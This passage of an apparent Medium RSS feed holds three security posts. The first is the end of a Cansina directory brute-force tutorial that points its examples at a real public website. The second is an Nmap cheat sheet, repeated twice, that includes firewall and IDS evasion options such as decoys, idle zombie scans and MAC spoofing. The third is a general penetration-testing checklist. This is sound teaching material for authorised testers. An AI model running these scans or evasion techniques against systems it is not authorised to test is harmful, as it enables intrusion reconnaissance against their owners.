/usr/share/wordlists/dirbuster/directory-list-1.0.txt -t8</blockquote><p>In this example, Set the threading level which is 4 by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*yGH91DuhWeOmvn1a.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*4MsfLsKi0E6BGGTu.jpg" /></figure><p><strong>Example 11: </strong>Change GET -&gt; HEAD requests</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -H</blockquote><p>In this example, Make requests using the HEAD HTTP method. Be aware that size and content filtering won’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*n6AT8LmF69jN3T43.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*fN8aSM3e3FF-XhVa.jpg" /></figure><p><strong>Example 12: </strong>Delay between requests</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -T 1.25</blockquote><p>In this example, Set a delay between requests. Time is set in float format. E.g: 1.25 seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*oL_WSecr5OFbPRok.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*VZUtCosCTQ8UpdgP.jpg" /></figure><p><strong>Example 13: </strong>User-agent</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -a demo</blockquote><p>In this example, Set an alternative User-Agent string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*iU1Ulo72FSBLCToX.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*Hl_JM3EGUG0Cc-ju.jpg" /></figure><p><strong>Example 14: </strong>Proxy requests</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -P <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a></blockquote><p>In this example, a Simple HTTP proxy is set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*CReQmWyX8n-RhCIp.jpg" /></figure><p><em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*MBMFdIkOl_E7glB5.jpg" /></figure><p><strong>Example 15: </strong>Basic authentication</p><blockquote>python3 cansina.py -u <a href="http://geeksforgeeks.org/">http://geeksforgeeks.org</a> -p /usr/share/wordlists/dirbuster/directory-list-1.0.txt -A user:password</blockquote><p>In this example, we will see tool Manages basic authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*qy58I5c8K7BS62kF.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*NdlOhlqECUfkE-p2.jpg" /></figure><p><strong>Example 16:</strong> Resume session</p><pre>python3 cansina.py -r resume_file.txt</pre><p>In this example, we will Resume the last interrupted session with all options and payload with the former line number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*fjj8neCQQaaULpww.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*CmkBU8iN4tu-M7hd.jpg" /></figure><p><strong>Example 17:</strong> Parse robots.txt</p><pre>python3 cansina.py -R</pre><p>In this example, Cansina will parse the robots.txt file and use it as a payload if it exists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*tehs70onR6v0yVhd.jpg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*YRJr1sEYrYCQsGT_.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2bfb3bfce17" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nmap Cheat Sheet]]></title>
            <link>https://thenurhabib.medium.com/nmap-cheat-sheet-9e7ef512f3b6?source=rss-e00711f60772------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e7ef512f3b6</guid>
            <category><![CDATA[nmap-command]]></category>
            <category><![CDATA[cheatsheet]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Md. Nur Habib]]></dc:creator>
            <pubDate>Wed, 16 Mar 2022 17:50:06 GMT</pubDate>
            <atom:updated>2022-03-16T17:50:06.073Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is Nmap?</h3><p>Nmap (“Network Mapper”) is a free and open source utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running. It was designed to rapidly scan large networks, but works fine against single hosts.</p><h3>How to Use Nmap</h3><p>Nmap can be used in a variety of ways depending on the user’s level of technical expertise.</p><p>Technical ExpertiseUsageBeginner<a href="https://nmap.org/zenmap/">Zenmap</a> the graphical user interface for NmapIntermediate<a href="https://nmap.org/">Command line</a>AdvancedPython scripting with the <a href="https://pypi.org/project/python-nmap/">Python-Nmap</a> package</p><h3>Command Line</h3><pre>nmap [ &lt;Scan Type&gt; ...] [ &lt;Options&gt; ] { &lt;target specification&gt; }</pre><h3>Basic Scanning Techniques</h3><p>The -s switch determines the type of scan to perform.</p><p>Nmap SwitchDescription-sAACK scan-sFFIN scan-sIIDLE scan-sLDNS scan (a.k.a. list scan)-sNNULL scan-sOProtocol scan-sPPing scan-sRRPC scan-sSSYN scan-sTTCP connect scan-sWWindows scan-sXXMAS scan</p><h3>Scan a Single Target</h3><pre>nmap [target]</pre><h3>Scan Multiple Targets</h3><pre>nmap [target1, target2, etc]</pre><h3>Scan a List of Targets</h3><pre>nmap -iL [list.txt]</pre><h3>Scan a Range of Hosts</h3><pre>nmap [range of IP addresses]</pre><h3>Scan an Entire Subnet</h3><pre>nmap [ip address/cdir]</pre><h3>Scan Random Hosts</h3><pre>nmap -iR [number]</pre><h3>Exclude Targets From a Scan</h3><pre>nmap [targets] --exclude [targets]</pre><h3>Exclude Targets Using a List</h3><pre>nmap [targets] --excludefile [list.txt]</pre><h3>Perform an Aggresive Scan</h3><pre>nmap -A [target]</pre><h3>Scan an IPv6 Target</h3><pre>nmap -6 [target]</pre><h3>Port Scanning Options</h3><h3>Perform a Fast Scan</h3><pre>nmap -F [target]</pre><h3>Scan Specific Ports</h3><pre>nmap -p [port(s)] [target]</pre><h3>Scan Ports by Name</h3><pre>nmap -p [port name(s)] [target]</pre><h3>Scan Ports by Protocol</h3><pre>nmap -sU -sT -p U:[ports],T:[ports] [target]</pre><h3>Scan All Ports</h3><pre>nmap -p 1-65535 [target]</pre><h3>Scan Top Ports</h3><pre>nmap --top-ports [number] [target]</pre><h3>Perform a Sequential Port Scan</h3><pre>nmap -r [target]</pre><h3>Attempt to Guess an Unknown OS</h3><pre>nmap -O --osscan-guess [target]</pre><h3>Service Version Detection</h3><pre>nmap -sV [target]</pre><h3>Troubleshoot Version Scan</h3><pre>nmap -sV --version-trace [target]</pre><h3>Perform a RPC Scan</h3><pre>nmap -sR [target]</pre><h3>Discovery Options</h3><p>Host Discovery The -p switch determines the type of ping to perform.</p><p>Nmap SwitchDescription-PIICMP ping-PoNo ping-PSSYN ping-PTTCP ping</p><h3>Perform a Ping Only Scan</h3><pre>nmap -sn [target]</pre><h3>Do Not Ping</h3><pre>nmap -Pn [target]</pre><h3>TCP SYN Ping</h3><pre>nmap -PS [target]</pre><h3>TCP ACK Ping</h3><pre>nmap -PA [target]</pre><h3>UDP Ping</h3><pre>nmap -PU [target]</pre><h3>SCTP INIT Ping</h3><pre>nmap -PY [target]</pre><h3>ICMP Echo Ping</h3><pre>nmap -PE [target]</pre><h3>ICMP Timestamp Ping</h3><pre>nmap -PP [target]</pre><h3>ICMP Address Mask Ping</h3><pre>nmap -PM [target]</pre><h3>IP Protocol Ping</h3><pre>nmap -PO [target]</pre><h3>ARP ping</h3><pre>nmap -PR [target]</pre><h3>Traceroute</h3><pre>nmap --traceroute [target]</pre><h3>Force Reverse DNS Resolution</h3><pre>nmap -R [target]</pre><h3>Disable Reverse DNS Resolution</h3><pre>nmap -n [target]</pre><h3>Alternative DNS Lookup</h3><pre>nmap --system-dns [target]</pre><h3>Manually Specify DNS Server</h3><p>Can specify a single server or multiple.</p><pre>nmap --dns-servers [servers] [target]</pre><h3>Create a Host List</h3><pre>nmap -sL [targets]</pre><h3>Port Specification and Scan Order</h3><p>Nmap SwitchDescription</p><h3>Service/Version Detection</h3><p>Nmap SwitchDescription-sVEnumerates software versions</p><h3>Script Scan</h3><p>Nmap SwitchDescription-sCRun all default scripts</p><h3>OS Detection</h3><p>Nmap SwitchDescription</p><h3>Timing and Performance</h3><p>The -t switch determines the speed and stealth performed.</p><p>Nmap SwitchDescription-T0Serial, slowest scan-T1Serial, slow scan-T2Serial, normal speed scan-T3Parallel, normal speed scan-T4Parallel, fast scan</p><p>Not specifying a T value will default to -T3, or normal speed.</p><h3>Firewall Evasion Techniques</h3><h3>Firewall/IDS Evasion and Spoofing</h3><p>Nmap SwitchDescription</p><h3>Fragment Packets</h3><pre>nmap -f [target]</pre><h3>Specify a Specific MTU</h3><pre>nmap --mtu [MTU] [target]</pre><h3>Use a Decoy</h3><pre>nmap -D RND:[number] [target]</pre><h3>Idle Zombie Scan</h3><pre>nmap -sI [zombie] [target]</pre><h3>Manually Specify a Source Port</h3><pre>nmap --source-port [port] [target]</pre><h3>Append Random Data</h3><pre>nmap --data-length [size] [target]</pre><h3>Randomize Target Scan Order</h3><pre>nmap --randomize-hosts [target]</pre><h3>Spoof MAC Address</h3><pre>nmap --spoof-mac [MAC|0|vendor] [target]</pre><h3>Send Bad Checksums</h3><pre>nmap --badsum [target]</pre><h3>Advanced Scanning Functions</h3><h3>TCP SYN Scan</h3><pre>nmap -sS [target]</pre><h3>TCP Connect Scan</h3><pre>nmap -sT [target]</pre><h3>UDP Scan</h3><pre>nmap -sU [target]</pre><h3>TCP NULL Scan</h3><pre>nmap -sN [target]</pre><h3>TCP FIN Scan</h3><pre>nmap -sF [target]</pre><h3>Xmas Scan</h3><pre>nmap -sA [target]</pre><h3>TCP ACK Scan</h3><pre>nmap -sA [target]</pre><h3>Custom TCP Scan</h3><pre>nmap --scanflags [flags] [target]</pre><h3>IP Protocol Scan</h3><pre>nmap -sO [target]</pre><h3>Send Raw Ethernet Packets</h3><pre>nmap --send-eth [target]</pre><h3>Send IP Packets</h3><pre>nmap --send-ip [target]</pre><h3>Timing Options</h3><h3>Timing Templates</h3><pre>nmap -T[0-5] [target]</pre><h3>Set the Packet TTL</h3><pre>nmap --ttl [time] [target]</pre><h3>Minimum NUmber of Parallel Operations</h3><pre>nmap --min-parallelism [number] [target]</pre><h3>Maximum Number of Parallel Operations</h3><pre>nmap --max-parallelism [number] [target]</pre><h3>Minimum Host Group Size</h3><pre>nmap --min-hostgroup [number] [targets]</pre><h3>Maximum Host Group Size</h3><pre>nmap --max-hostgroup [number] [targets]</pre><h3>Maximum RTT Timeout</h3><pre>nmap --initial-rtt-timeout [time] [target]</pre><h3>Initial RTT Timeout</h3><pre>nmap --max-rtt-timeout [TTL] [target]</pre><h3>Maximum Number of Retries</h3><pre>nmap --max-retries [number] [target]</pre><h3>Host Timeout</h3><pre>nmap --host-timeout [time] [target]</pre><h3>Minimum Scan Delay</h3><pre>nmap --scan-delay [time] [target]</pre><h3>Maxmimum Scan Delay</h3><pre>nmap --max-scan-delay [time] [target]</pre><h3>Minimum Packet Rate</h3><pre>nmap --min-rate [number] [target]</pre><h3>Maximum Packet Rate</h3><pre>nmap --max-rate [number] [target]</pre><h3>Defeat Reset Rate Limits</h3><pre>nmap --defeat-rst-ratelimit [target]</pre><h3>Output Options</h3><p>Nmap SwitchDescription-oNNormal output-oXXML output-oANormal, XML, and Grepable format all at once</p><h3>Save Output to a Text File</h3><pre>nmap -oN [scan.txt] [target]</pre><h3>Save Output to a XML File</h3><pre>nmap -oX [scan.xml] [target]</pre><h3>Grepable Output</h3><pre>nmap -oG [scan.txt] [target]</pre><h3>Output All Supported File Types</h3><pre>nmap -oA [path/filename] [target]</pre><h3>Periodically Display Statistics</h3><pre>nmap --stats-every [time] [target]</pre><h3>1337 Output</h3><pre>nmap -oS [scan.txt] [target]</pre><h3>Compare Scans</h3><h3>Comparison Using Ndiff</h3><pre>ndiff [scan1.xml] [scan2.xml]</pre><h3>Ndiff Verbose Mode</h3><pre>ndiff -v [scan1.xml] [scan2.xml]</pre><h3>XML Output Mode</h3><pre>ndiff --xml [scan1.xml] [scan2.xml]</pre><h3>Troubleshooting and Debugging</h3><h3>Get Help</h3><pre>nmap -h</pre><h3>Display Nmap Version</h3><pre>nmap -V</pre><h3>Verbose Output</h3><pre>nmap -v [target]</pre><h3>Debugging</h3><pre>nmap -d [target]</pre><h3>Display Port State Reason</h3><pre>nmap --reason [target]</pre><h3>Only Display Open Ports</h3><pre>nmap --open [target]</pre><h3>Trace Packets</h3><pre>nmap --packet-trace [target]</pre><h3>Display Host Networking</h3><pre>nmap --iflist</pre><h3>Specify a Network Interface</h3><pre>nmap -e [interface] [target]</pre><h3>Nmap Scripting Engine</h3><h3>Execute Individual Scripts</h3><pre>nmap --script [script.nse] [target]</pre><h3>Execute Multiple Scripts</h3><pre>nmap --script [expression] [target]</pre><h3>Execute Scripts by Category</h3><pre>nmap --script [category] [target]</pre><h3>Execute Multiple Script Categories</h3><pre>nmap --script [category1,category2,etc]</pre><h3>Troubleshoot Scripts</h3><pre>nmap --script [script] --script-trace [target]</pre><h3>Update the Script Database</h3><h3>What is Nmap?</h3><p>Nmap (&quot;Network Mapper&quot;) is a free and open source utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running. It was designed to rapidly scan large networks, but works fine against single hosts.</p><h3>How to Use Nmap</h3><p>Nmap can be used in a variety of ways depending on the user&#39;s level of technical expertise.</p><p>Technical ExpertiseUsageBeginner<a href="https://nmap.org/zenmap/">Zenmap</a> the graphical user interface for NmapIntermediate<a href="https://nmap.org/">Command line</a>AdvancedPython scripting with the <a href="https://pypi.org/project/python-nmap/">Python-Nmap</a> package</p><h3>Command Line</h3><pre>nmap [ &lt;Scan Type&gt; ...] [ &lt;Options&gt; ] { &lt;target specification&gt; }</pre><h3>Basic Scanning Techniques</h3><p>The -s switch determines the type of scan to perform.</p><p>Nmap SwitchDescription-sAACK scan-sFFIN scan-sIIDLE scan-sLDNS scan (a.k.a. list scan)-sNNULL scan-sOProtocol scan-sPPing scan-sRRPC scan-sSSYN scan-sTTCP connect scan-sWWindows scan-sXXMAS scan</p><h3>Scan a Single Target</h3><pre>nmap [target]</pre><h3>Scan Multiple Targets</h3><pre>nmap [target1, target2, etc]</pre><h3>Scan a List of Targets</h3><pre>nmap -iL [list.txt]</pre><h3>Scan a Range of Hosts</h3><pre>nmap [range of IP addresses]</pre><h3>Scan an Entire Subnet</h3><pre>nmap [ip address/cdir]</pre><h3>Scan Random Hosts</h3><pre>nmap -iR [number]</pre><h3>Exclude Targets From a Scan</h3><pre>nmap [targets] --exclude [targets]</pre><h3>Exclude Targets Using a List</h3><pre>nmap [targets] --excludefile [list.txt]</pre><h3>Perform an Aggresive Scan</h3><pre>nmap -A [target]</pre><h3>Scan an IPv6 Target</h3><pre>nmap -6 [target]</pre><h3>Port Scanning Options</h3><h3>Perform a Fast Scan</h3><pre>nmap -F [target]</pre><h3>Scan Specific Ports</h3><pre>nmap -p [port(s)] [target]</pre><h3>Scan Ports by Name</h3><pre>nmap -p [port name(s)] [target]</pre><h3>Scan Ports by Protocol</h3><pre>nmap -sU -sT -p U:[ports],T:[ports] [target]</pre><h3>Scan All Ports</h3><pre>nmap -p 1-65535 [target]</pre><h3>Scan Top Ports</h3><pre>nmap --top-ports [number] [target]</pre><h3>Perform a Sequential Port Scan</h3><pre>nmap -r [target]</pre><h3>Attempt to Guess an Unknown OS</h3><pre>nmap -O --osscan-guess [target]</pre><h3>Service Version Detection</h3><pre>nmap -sV [target]</pre><h3>Troubleshoot Version Scan</h3><pre>nmap -sV --version-trace [target]</pre><h3>Perform a RPC Scan</h3><pre>nmap -sR [target]</pre><h3>Discovery Options</h3><p>Host Discovery The -p switch determines the type of ping to perform.</p><p>Nmap SwitchDescription-PIICMP ping-PoNo ping-PSSYN ping-PTTCP ping</p><h3>Perform a Ping Only Scan</h3><pre>nmap -sn [target]</pre><h3>Do Not Ping</h3><pre>nmap -Pn [target]</pre><h3>TCP SYN Ping</h3><pre>nmap -PS [target]</pre><h3>TCP ACK Ping</h3><pre>nmap -PA [target]</pre><h3>UDP Ping</h3><pre>nmap -PU [target]</pre><h3>SCTP INIT Ping</h3><pre>nmap -PY [target]</pre><h3>ICMP Echo Ping</h3><pre>nmap -PE [target]</pre><h3>ICMP Timestamp Ping</h3><pre>nmap -PP [target]</pre><h3>ICMP Address Mask Ping</h3><pre>nmap -PM [target]</pre><h3>IP Protocol Ping</h3><pre>nmap -PO [target]</pre><h3>ARP ping</h3><pre>nmap -PR [target]</pre><h3>Traceroute</h3><pre>nmap --traceroute [target]</pre><h3>Force Reverse DNS Resolution</h3><pre>nmap -R [target]</pre><h3>Disable Reverse DNS Resolution</h3><pre>nmap -n [target]</pre><h3>Alternative DNS Lookup</h3><pre>nmap --system-dns [target]</pre><h3>Manually Specify DNS Server</h3><p>Can specify a single server or multiple.</p><pre>nmap --dns-servers [servers] [target]</pre><h3>Create a Host List</h3><pre>nmap -sL [targets]</pre><h3>Port Specification and Scan Order</h3><p>Nmap SwitchDescription</p><h3>Service/Version Detection</h3><p>Nmap SwitchDescription-sVEnumerates software versions</p><h3>Script Scan</h3><p>Nmap SwitchDescription-sCRun all default scripts</p><h3>OS Detection</h3><p>Nmap SwitchDescription</p><h3>Timing and Performance</h3><p>The -t switch determines the speed and stealth performed.</p><p>Nmap SwitchDescription-T0Serial, slowest scan-T1Serial, slow scan-T2Serial, normal speed scan-T3Parallel, normal speed scan-T4Parallel, fast scan</p><p>Not specifying a T value will default to -T3, or normal speed.</p><h3>Firewall Evasion Techniques</h3><h3>Firewall/IDS Evasion and Spoofing</h3><p>Nmap SwitchDescription</p><h3>Fragment Packets</h3><pre>nmap -f [target]</pre><h3>Specify a Specific MTU</h3><pre>nmap --mtu [MTU] [target]</pre><h3>Use a Decoy</h3><pre>nmap -D RND:[number] [target]</pre><h3>Idle Zombie Scan</h3><pre>nmap -sI [zombie] [target]</pre><h3>Manually Specify a Source Port</h3><pre>nmap --source-port [port] [target]</pre><h3>Append Random Data</h3><pre>nmap --data-length [size] [target]</pre><h3>Randomize Target Scan Order</h3><pre>nmap --randomize-hosts [target]</pre><h3>Spoof MAC Address</h3><pre>nmap --spoof-mac [MAC|0|vendor] [target]</pre><h3>Send Bad Checksums</h3><pre>nmap --badsum [target]</pre><h3>Advanced Scanning Functions</h3><h3>TCP SYN Scan</h3><pre>nmap -sS [target]</pre><h3>TCP Connect Scan</h3><pre>nmap -sT [target]</pre><h3>UDP Scan</h3><pre>nmap -sU [target]</pre><h3>TCP NULL Scan</h3><pre>nmap -sN [target]</pre><h3>TCP FIN Scan</h3><pre>nmap -sF [target]</pre><h3>Xmas Scan</h3><pre>nmap -sA [target]</pre><h3>TCP ACK Scan</h3><pre>nmap -sA [target]</pre><h3>Custom TCP Scan</h3><pre>nmap --scanflags [flags] [target]</pre><h3>IP Protocol Scan</h3><pre>nmap -sO [target]</pre><h3>Send Raw Ethernet Packets</h3><pre>nmap --send-eth [target]</pre><h3>Send IP Packets</h3><pre>nmap --send-ip [target]</pre><h3>Timing Options</h3><h3>Timing Templates</h3><pre>nmap -T[0-5] [target]</pre><h3>Set the Packet TTL</h3><pre>nmap --ttl [time] [target]</pre><h3>Minimum NUmber of Parallel Operations</h3><pre>nmap --min-parallelism [number] [target]</pre><h3>Maximum Number of Parallel Operations</h3><pre>nmap --max-parallelism [number] [target]</pre><h3>Minimum Host Group Size</h3><pre>nmap --min-hostgroup [number] [targets]</pre><h3>Maximum Host Group Size</h3><pre>nmap --max-hostgroup [number] [targets]</pre><h3>Maximum RTT Timeout</h3><pre>nmap --initial-rtt-timeout [time] [target]</pre><h3>Initial RTT Timeout</h3><pre>nmap --max-rtt-timeout [TTL] [target]</pre><h3>Maximum Number of Retries</h3><pre>nmap --max-retries [number] [target]</pre><h3>Host Timeout</h3><pre>nmap --host-timeout [time] [target]</pre><h3>Minimum Scan Delay</h3><pre>nmap --scan-delay [time] [target]</pre><h3>Maxmimum Scan Delay</h3><pre>nmap --max-scan-delay [time] [target]</pre><h3>Minimum Packet Rate</h3><pre>nmap --min-rate [number] [target]</pre><h3>Maximum Packet Rate</h3><pre>nmap --max-rate [number] [target]</pre><h3>Defeat Reset Rate Limits</h3><pre>nmap --defeat-rst-ratelimit [target]</pre><h3>Output Options</h3><p>Nmap SwitchDescription-oNNormal output-oXXML output-oANormal, XML, and Grepable format all at once</p><h3>Save Output to a Text File</h3><pre>nmap -oN [scan.txt] [target]</pre><h3>Save Output to a XML File</h3><pre>nmap -oX [scan.xml] [target]</pre><h3>Grepable Output</h3><pre>nmap -oG [scan.txt] [target]</pre><h3>Output All Supported File Types</h3><pre>nmap -oA [path/filename] [target]</pre><h3>Periodically Display Statistics</h3><pre>nmap --stats-every [time] [target]</pre><h3>1337 Output</h3><pre>nmap -oS [scan.txt] [target]</pre><h3>Compare Scans</h3><h3>Comparison Using Ndiff</h3><pre>ndiff [scan1.xml] [scan2.xml]</pre><h3>Ndiff Verbose Mode</h3><pre>ndiff -v [scan1.xml] [scan2.xml]</pre><h3>XML Output Mode</h3><pre>ndiff --xml [scan1.xml] [scan2.xml]</pre><h3>Troubleshooting and Debugging</h3><h3>Get Help</h3><pre>nmap -h</pre><h3>Display Nmap Version</h3><pre>nmap -V</pre><h3>Verbose Output</h3><pre>nmap -v [target]</pre><h3>Debugging</h3><pre>nmap -d [target]</pre><h3>Display Port State Reason</h3><pre>nmap --reason [target]</pre><h3>Only Display Open Ports</h3><pre>nmap --open [target]</pre><h3>Trace Packets</h3><pre>nmap --packet-trace [target]</pre><h3>Display Host Networking</h3><pre>nmap --iflist</pre><h3>Specify a Network Interface</h3><pre>nmap -e [interface] [target]</pre><h3>Nmap Scripting Engine</h3><h3>Execute Individual Scripts</h3><pre>nmap --script [script.nse] [target]</pre><h3>Execute Multiple Scripts</h3><pre>nmap --script [expression] [target]</pre><h3>Execute Scripts by Category</h3><pre>nmap --script [category] [target]</pre><h3>Execute Multiple Script Categories</h3><pre>nmap --script [category1,category2,etc]</pre><h3>Troubleshoot Scripts</h3><pre>nmap --script [script] --script-trace [target]</pre><h3>Update the Script Database</h3><pre>nmap --script-updatedb</pre><p>--script-updatedb</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e7ef512f3b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The 7 Penetration Testing Steps & Phases: a Checklist]]></title>
            <link>https://thenurhabib.medium.com/the-7-penetration-testing-steps-phases-a-checklist-73443cdd05c?source=rss-e00711f60772------2</link>
            <guid isPermaLink="false">https://medium.com/p/73443cdd05c</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[information-technology]]></category>
            <dc:creator><![CDATA[Md. Nur Habib]]></dc:creator>
            <pubDate>Wed, 16 Mar 2022 17:35:40 GMT</pubDate>
            <atom:updated>2022-03-16T17:37:05.178Z</atom:updated>
            <content:encoded><![CDATA[<h3>7 Steps and Phases of Penetration Testing</h3><p>Our internal pentest checklist includes the following 7 phases of penetration testing:</p><ol><li>Information Gathering</li><li>Reconnaissance</li><li>Discovery and Scanning</li><li>Vulnerability Assessment</li><li>Exploitation</li><li>Final Analysis and Review</li><li>Utilize the Testing Results</li></ol><h3>1. Information Gathering</h3><p>The first of the seven stages of penetration testing is information gathering. The organization being tested will provide the penetration tester with general information about in-scope targets.</p><h3>2. Reconnaissance</h3><p>The reconnaissance stage is crucial to thorough security testing because penetration testers can identify additional information that may have been overlooked, unknown, or not provided. This step is especially helpful in <a href="https://kirkpatrickprice.com/penetration-test/network/">internal and/or external network penetration testing</a>, however, we don’t typically perform this reconnaissance in <a href="https://kirkpatrickprice.com/penetration-test/web-applications/">web application</a>, <a href="https://kirkpatrickprice.com/penetration-test/mobile-applications/">mobile application</a>, or <a href="https://kirkpatrickprice.com/penetration-test/api/">API penetration testing</a>.</p><h3>3. Discovery and Scanning</h3><p>The information gathered is used to perform discovery activities to determine things like ports and services that were available for targeted hosts, or subdomains, available for web applications.</p><h3>4. Vulnerability Assessment</h3><p>A vulnerability assessment is conducted in order to gain initial knowledge and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment or technology being tested. A <a href="https://kirkpatrickprice.com/blog/vulnerability-assessments-vs-penetration-testing/">vulnerability assessment is never a replacement for a penetration test</a>, though.</p><h3>5. Exploitation</h3><p>This is where the action happens!</p><p>After interpreting the results from the vulnerability assessment, our expert penetration testers will use manual techniques, human intuition, and their backgrounds to validate, attack, and exploit those vulnerabilities.</p><h3>6. Final Analysis and Review</h3><p>This comprehensive report includes narratives of where we started the testing, how we found vulnerabilities, and how we exploited them. It also includes the scope of the security testing, testing methodologies, findings, and recommendations for corrections.</p><p>Where applicable, it will also state the penetration tester’s opinion of whether or not your penetration test adheres to applicable framework requirements.</p><h3>7. Utilize the Testing Results</h3><p>The last of the seven stages of penetration testing is so important. The organization being tested must actually use the findings from the security testing to risk rank vulnerabilities, analyze the potential impact of vulnerabilities found, determine remediation strategies, and inform decision-making moving forward.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73443cdd05c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>